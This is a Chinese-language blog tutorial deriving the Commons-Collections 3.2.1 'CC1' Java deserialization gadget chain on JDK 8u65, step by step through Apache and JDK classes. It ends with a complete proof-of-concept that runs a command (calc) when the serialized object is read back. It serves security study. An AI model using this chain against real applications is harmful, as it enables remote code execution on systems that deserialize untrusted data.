Commons-Collections1反序列化
JDK版本为jdk8u65
commons-collections版本为3.2.1
InvokerTransformer
CC1的漏洞点在InvokerTransformer
,InvokerTransformer
下有一个transform
方法:
public Object transform(Object input) { if (input == null) { return null; } try { Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs); } catch (NoSuchMethodException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist"); } catch (IllegalAccessException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); } catch (InvocationTargetException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex); } }
这里的transform接受一个任意的Object类型输入,而且反射调用的参数都可以控制,那么这里就可以实现任意方法调用。
先写一个通过反射调用函数的demo:
package org.example; import org.apache.commons.collections.functors.InvokerTransformer; import java.lang.reflect.Method; public class CC1 { public static void main(String[] args) throws Exception{ // 创建Runtime对象 Runtime r = Runtime.getRuntime(); // 创建Class对象 Class c = Runtime.class; // 使用getMethod方法从Runtime类中获取exec方法 Method method = c.getMethod("exec", String.class); // 使用invoke方法调用method对象表示的方法 method.invoke(r,"calc"); } }
接着,将这个demo改写为通过InvokerTransformer
调用,先看一下调用InvokerTransformer
需要传什么参数,结合上面InvokerTransformer
中transform
方法,我们应该传的参数为:"exec"
、new Class[]{String.class}
、new Object[]{"calc"}
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { super(); iMethodName = methodName; iParamTypes = paramTypes; iArgs = args; }
那么将我们的demo改写为:
package org.example; import org.apache.commons.collections.functors.InvokerTransformer; public class CC1 { public static void main(String[] args) throws Exception{ Runtime r = Runtime.getRuntime(); new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"}).transform(r); } }
下一步的目标就是寻找哪个类也调用了transform
方法。
TransformedMap
这里发现TransformedMap
类中的checkSetValue
函数中对valueTransformer
调用了transform
方法:
protected Object checkSetValue(Object value) { return valueTransformer.transform(value); }
接着,在TransformedMap
中发现下面这段代码调用了valueTransformer
:
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) { super(map); this.keyTransformer = keyTransformer; this.valueTransformer = valueTransformer; }
然后又发现下面这段代码调用了TransformedMap
:
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap(map, keyTransformer, valueTransformer); }
于是,可以将demo改写为:
package org.example; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.util.HashMap; public class CC1 { public static void main(String[] args) throws Exception{ Runtime r = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"}); HashMap<Object, Object> map = new HashMap<>(); TransformedMap.decorate(map, null, invokerTransformer); } }
AbstractInputCheckedMapDecorator
接下来,需要找到如何调用checkSetValue
,通过idea查找用法发现在抽象类AbstractInputCheckedMapDecorator
中的MapEntry
类调用了这个方法。
static class MapEntry extends AbstractMapEntryDecorator { /** The parent map */ private final AbstractInputCheckedMapDecorator parent; protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) { super(entry); this.parent = parent; } public Object setValue(Object value) { value = parent.checkSetValue(value); return entry.setValue(value); } }
这里的MapEntry
在遍历Map的时候会被调用,接着改写demo代码:
package org.example; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.util.HashMap; import java.util.Map; public class CC1 { public static void main(String[] args) throws Exception{ Runtime r = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"}); HashMap<Object, Object> map = new HashMap<>(); map.put("key", "aaa"); Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer); for (Map.Entry entry:transformedMap.entrySet()) { entry.setValue(r); } } }
这样一来,当我们遍历Map进行setValue
的时候就会形成一条调用链:MapEntry -> setValue -> checkSetValue -> valueTransformer.transform
,而valueTransformer
就是我们通过TransformedMap.decorate(map, null, invokerTransformer)
设置的invokerTransformer
。
调试一下demo代码:
AnnotationInvocationHandler
继续寻找在哪个类里面调用了setValue
方法,发现在AnnotationInvocationHandler
类的readObject
方法中使用了memberValue.setValue
:
private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); // Check to make sure that types have not evolved incompatibly AnnotationType annotationType = null; try { annotationType = AnnotationType.getInstance(type); } catch(IllegalArgumentException e) { // Class is no longer an annotation type; time to punch out throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream"); } Map<String, Class<?>> memberTypes = annotationType.memberTypes(); // If there are annotation members without values, that // situation is handled by the invoke method. for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name); if (memberType != null) { // i.e. member still exists Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { memberValue.setValue( new AnnotationTypeMismatchExceptionProxy( value.getClass() + "[" + value + "]").setMember( annotationType.members().get(name))); } } } }
通过观察AnnotationInvocationHandler
类可以发现memberValues
是可控的:
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) { Class<?>[] superInterfaces = type.getInterfaces(); if (!type.isAnnotation() || superInterfaces.length != 1 || superInterfaces[0] != java.lang.annotation.Annotation.class) throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type."); this.type = type; this.memberValues = memberValues; }
由于AnnotationInvocationHandler
不是public
,所以只能通过反射的方式去获取,接着改写demo代码:
package org.example; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.io.*; import java.lang.reflect.Constructor; import java.util.HashMap; import java.util.Map; public class CC1 { public static void main(String[] args) throws Exception{ Runtime r = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"}); HashMap<Object, Object> map = new HashMap<>(); map.put("key", "aaa"); Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annotationInvocationdhdlConstructor = c.getDeclaredConstructor(Class.class,Map.class); annotationInvocationdhdlConstructor.setAccessible(true); Object o = annotationInvocationdhdlConstructor.newInstance(Override.class,transformedMap); serialize(o); unserialize("ser.bin"); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
目前,上述代码还存在几个问题:(1)Runtime不能序列化(2)调用memberValue.setValue时需要绕过几个if判断(3)memberValue.setValue中的参数值不可控。
首先将Runtime转换为可以序列化的版本:
Class c = Runtime.class; Method getRuntimeMethod = c.getMethod("getRuntime", null); Runtime r = (Runtime)getRuntimeMethod.invoke(null, null); Method execMethod = c.getMethod("exec", String.class); execMethod.invoke(r, "calc");
然后将上面的代码改为InvokerTransformer
版本:
Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class); Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntimeMethod); new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
可以看到上面的代码是重复调用的,所以改为ChainedTransformer
:
Transformer[] transformers = new Transformer[]{ new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); chainedTransformer.transform(Runtime.class);
接着来绕过if判断,在AnnotationInvocationHandler
类的readObject
方法中要保证memberType
不为空,跟进Override
:
@Target(ElementType.METHOD) @Retention(RetentionPolicy.SOURCE) public @interface Override { }
再次跟进Target
:
@Documented @Retention(RetentionPolicy.RUNTIME) @Target(ElementType.ANNOTATION_TYPE) public @interface Target { /** * Returns an array of the kinds of elements an annotation type * can be applied to. * @return an array of the kinds of elements an annotation type * can be applied to */ ElementType[] value(); }
发现其中有个value
方法,所以将Override.class
修改为Target.class
并且将Map的key
修改为value
。修改之后就可以成功执行到setValue
,到此为止就只差setValue
中的值了,而setValue
中的valueTransformer
已经是chainedTransformer
。
ConstantTransformer
最后一处修改需要引入ConstantTransformer
类,在这个类中不管传入什么都是直接赋值给iConstant
,而通过ConstantTransformer
调用transform
,则会直接返回iConstant
,那么就相当于输入什么返回什么:
/** * Constructor that performs no validation. * Use <code>getInstance</code> if you want that. * * @param constantToReturn the constant to return each time */ public ConstantTransformer(Object constantToReturn) { super(); iConstant = constantToReturn; } /** * Transforms the input by ignoring it and returning the stored constant instead. * * @param input the input object which is ignored * @return the stored constant */ public Object transform(Object input) { return iConstant; }
POC
最终修改之后的demo代码:
package org.example; import java.lang.annotation.Target; import java.lang.reflect.Method; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.io.*; import java.lang.reflect.Constructor; import java.util.HashMap; import java.util.Map; public class CC1 { public static void main(String[] args) throws Exception{ Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> map = new HashMap<>(); map.put("value", "aaa"); Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annotationInvocationdhdlConstructor = c.getDeclaredConstructor(Class.class,Map.class); annotationInvocationdhdlConstructor.setAccessible(true); Object o = annotationInvocationdhdlConstructor.newInstance(Target.class,transformedMap); serialize(o); unserialize("ser.bin"); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
测试:
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· 阿里巴巴 QwQ-32B真的超越了 DeepSeek R-1吗?
· 如何调用 DeepSeek 的自然语言处理 API 接口并集成到在线客服系统
· 【译】Visual Studio 中新的强大生产力特性
· 2025年我用 Compose 写了一个 Todo App